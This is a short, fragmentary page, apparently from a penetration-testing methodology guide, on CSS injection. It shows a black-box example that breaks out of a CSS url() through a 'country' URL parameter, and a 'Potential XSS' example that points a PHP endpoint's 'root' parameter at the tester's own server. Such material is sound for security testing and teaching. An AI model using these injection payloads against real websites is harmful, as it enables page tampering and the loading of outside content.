CSS Injection
Check List
Methodology
Black Box
Country Parameter
1
2
https://example.com/search?q=a&country=BR3
<div class="language" style="background-image: url(/BR.svg)"><div>4
https://example.com/search?q=a&country=BR'); width: 9999px; height: 9999px; background: red; //5
<div class="language" style="background-image: url(/BR.svg'); width: 9999px; height: 9999px; background: red; //)"><div>Base CSS injection
1
2
3
4
5
6
7
Potential XSS
1
https://example.com/landings/libs/alert/alerts/exitpopup74/exit-popup.php?root=https://+YOUR SERVER+/&lang=en2
div {
background-image: url("https://media.giphy.com/media/SggILpMXO7Xt6/giphy.gif");
background-color: #cccccc;
}3
White Box
Cheat Sheet
Last updated